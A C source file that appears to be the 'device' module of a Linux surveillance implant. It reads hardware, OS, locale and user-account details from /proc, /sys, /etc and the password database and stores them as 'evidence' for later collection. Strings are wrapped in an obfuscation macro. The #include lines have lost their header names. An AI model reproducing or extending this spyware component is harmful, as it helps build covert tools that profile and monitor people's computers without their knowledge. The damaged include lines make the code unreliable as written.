#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include "module.h" #include "evidencemanager.h" #include "me.h" #include "so.h" #include "bioutils.h" void device_hw(BIO *b); void device_os(BIO *b); void device_user(BIO *b); void *module_device_main(void *args) { BIO *bio_utf8 = NULL, *bio_utf16 = NULL; char *ptr = NULL; long len; debugme("Module DEVICE started\n"); do { if(!(bio_utf8 = BIO_new(BIO_s_mem()))) break; device_hw(bio_utf8); device_os(bio_utf8); device_user(bio_utf8); if(!(len = BIO_get_mem_data(bio_utf8, &ptr))) break; if(!(bio_utf16 = BIO_new(BIO_s_mem()))) break; if(BIO_puts16(bio_utf16, ptr) == -1) break; if(!(len = BIO_get_mem_data(bio_utf16, &ptr))) break; evidence_write(EVIDENCE_TYPE_DEVICE, NULL, 0, ptr, len); } while(0); if(bio_utf8) BIO_free(bio_utf8); if(bio_utf16) BIO_free(bio_utf16); debugme("Module DEVICE stopped\n"); return NULL; } void device_hw(BIO *b) { FILE *fp = NULL; char buf[128] = {}, *ptr = NULL; char vendor[128] = {}, model[128] = {}; char cpu[128] = {}; unsigned int ncpu = 1; unsigned long long memt = 0, memf = 0; unsigned long long diskt = 0, diskf = 0; struct statvfs s; char acstate[128] = {}; if((fp = fopen(SO"/sys/devices/virtual/dmi/id/sys_vendor", "r")) && fgets(vendor, sizeof(vendor), fp)) if(vendor[0] && (vendor[strlen(vendor) - 1] == '\n')) vendor[strlen(vendor) - 1] = '\0'; if(fp) fclose(fp); if((fp = fopen(SO"/sys/devices/virtual/dmi/id/product_name", "r")) && fgets(model, sizeof(model), fp)) if(model[0] && (model[strlen(model) - 1] == '\n')) model[strlen(model) - 1] = '\0'; if(fp) fclose(fp); if((fp = fopen(SO"/proc/cpuinfo", "r"))) { while(fgets(buf, sizeof(buf), fp)) { if(!cpu[0] && !strncmp(buf, SO"model name", strlen(SO"model name"))) { if((ptr = strstr(buf, ": ") + 2)) { strncpy(cpu, ptr, sizeof(cpu) - 1); if(cpu[0] && (cpu[strlen(cpu) - 1] == '\n')) cpu[strlen(cpu) - 1] = '\0'; } } else if(!strncmp(buf, SO"processor", strlen(SO"processor"))) { if((ptr = strstr(buf, ": ") + 2)) ncpu = atoi(ptr) + 1; } } fclose(fp); } if((fp = fopen(SO"/proc/meminfo", "r"))) { while(fgets(buf, sizeof(buf), fp)) { if(!memt && !strncmp(buf, SO"MemTotal:", strlen(SO"MemTotal:"))) { ptr = buf + strlen(SO"MemTotal:"); while(*ptr && (*ptr == ' ')) ptr++; memt = atoll(ptr) / 1024; } else if(!strncmp(buf, SO"MemFree:", strlen(SO"MemFree:"))) { ptr = buf + strlen(SO"MemFree:"); while(*ptr && (*ptr == ' ')) ptr++; memf += atoll(ptr) / 1024; } else if(!strncmp(buf, SO"Cached:", strlen(SO"Cached:"))) { ptr = buf + strlen(SO"Cached:"); while(*ptr && (*ptr == ' ')) ptr++; memf += atoll(ptr) / 1024; } } if(memf > memt) memf = memt; fclose(fp); } if((ptr = getcwd(NULL, 0))) { if(!statvfs(ptr, &s)) { diskt = ((unsigned long long)s.f_blocks * (unsigned long long)s.f_bsize / 1048576LL); diskf = ((unsigned long long)s.f_bavail * (unsigned long long)s.f_bsize / 1048576LL); } free(ptr); } if((fp = fopen(SO"/proc/acpi/ac_adapter/AC/state", "r"))) { while(fgets(buf, sizeof(buf), fp)) { if(!acstate[0] && !strncmp(buf, SO"state:", strlen(SO"state:"))) { ptr = buf + strlen(SO"state:"); while(*ptr && (*ptr == ' ')) ptr++; strncpy(acstate, ptr, sizeof(acstate) - 1); if(acstate[0] && (acstate[strlen(acstate) - 1] == '\n')) acstate[strlen(acstate) - 1] = '\0'; } } fclose(fp); } BIO_printf(b, SO"Device: %s %s\n", vendor[0] ? vendor : SO"[unknown]", model[0] ? model : SO"[unknown]"); BIO_printf(b, SO"Processor: %u x %s\n", ncpu, cpu[0] ? cpu : SO"[unknown]"); BIO_printf(b, SO"Memory: %lluMB free / %lluMB total (%u%% used)\n", memf, memt, (memt ? (memt - memf) * 100 / memt : 0)); BIO_printf(b, SO"Disk: %lluMB free / %lluMB total (%u%% used)\n", diskf, diskt, (diskt ? (diskt - diskf) * 100 / diskt : 0)); BIO_printf(b, SO"Power: AC %s\n", acstate[0] ? acstate : SO"[unknown]"); BIO_puts(b, "\n"); return; } void device_os(BIO *b) { struct utsname arch = {0}; char *lang = NULL; time_t t; struct tm ts; char tzname[8] = {}, tzoff[8] = {}; FILE *fp = NULL; char osver[128] = {}, buf[128] = {}, *ptr = NULL; uname(&arch); lang = getenv(SO"LANG"); t = time(NULL); localtime_r(&t, &ts); strftime(tzname, sizeof(tzname), "%Z", &ts); strftime(tzoff, sizeof(tzoff), "%z", &ts); tzoff[6] = '\0'; tzoff[5] = tzoff[4]; tzoff[4] = tzoff[3]; tzoff[3] = ':'; do { if((fp = fopen(SO"/etc/lsb-release", "r"))) { while(fgets(buf, sizeof(buf), fp)) { if(!strncmp(buf, SO"DISTRIB_DESCRIPTION=", strlen(SO"DISTRIB_DESCRIPTION="))) { ptr = buf + strlen(SO"DISTRIB_DESCRIPTION="); while(*ptr && ((*ptr == ' ') || (*ptr == '"'))) ptr++; strncpy(osver, ptr, sizeof(osver) - 1); } } fclose(fp); fp = NULL; } if(osver[0]) break; if((fp = fopen(SO"/etc/os-release", "r"))) { while(fgets(buf, sizeof(buf), fp)) { if(!strncmp(buf, SO"PRETTY_NAME=", strlen(SO"PRETTY_NAME="))) { ptr = buf + strlen(SO"PRETTY_NAME="); while(*ptr && ((*ptr == ' ') || (*ptr == '"'))) ptr++; strncpy(osver, ptr, sizeof(osver) - 1); } } fclose(fp); fp = NULL; } if(osver[0]) break; if((fp = fopen(SO"/etc/debian_version", "r"))) { if(!fgets(buf, sizeof(buf), fp)) break; snprintf(osver, sizeof(osver), SO"Debian GNU/Linux %s", buf); } else if((fp = fopen(SO"/etc/redhat-release", "r"))) { if(!fgets(buf, sizeof(buf), fp)) break; strncpy(osver, buf, sizeof(osver) - 1); } else if((fp = fopen(SO"/etc/slackware-version", "r"))) { if(!fgets(buf, sizeof(buf), fp)) break; strncpy(osver, buf, sizeof(osver) - 1); } } while(0); if(fp) fclose(fp); while(osver && osver[0] && ((osver[strlen(osver) - 1] == '"') || (osver[strlen(osver) - 1] == '\n'))) osver[strlen(osver) - 1] = '\0'; BIO_printf(b, SO"OS Version: %s (%s)\n", osver ? osver : SO"[unknown]", arch.machine[0] ? arch.machine : SO"[unknown]"); BIO_printf(b, SO"Locale settings: %s - %s (UTC %s)\n", lang ? lang : SO"[uknown]", tzname, tzoff); BIO_puts(b, "\n"); return; } void device_user(BIO *b) { struct passwd pw, *ret = NULL; char buf[4096], *ptr = NULL; getpwuid_r(getuid(), &pw, buf, sizeof(buf), &ret); if(ret) if((ptr = strchr(ret->pw_gecos, ','))) *ptr = '\0'; BIO_printf(b, SO"User: %s (%s)\n", ret ? ret->pw_name : SO"[uknown]", ret ? ret->pw_gecos : SO"[uknown]"); BIO_puts(b, "\n"); return; } .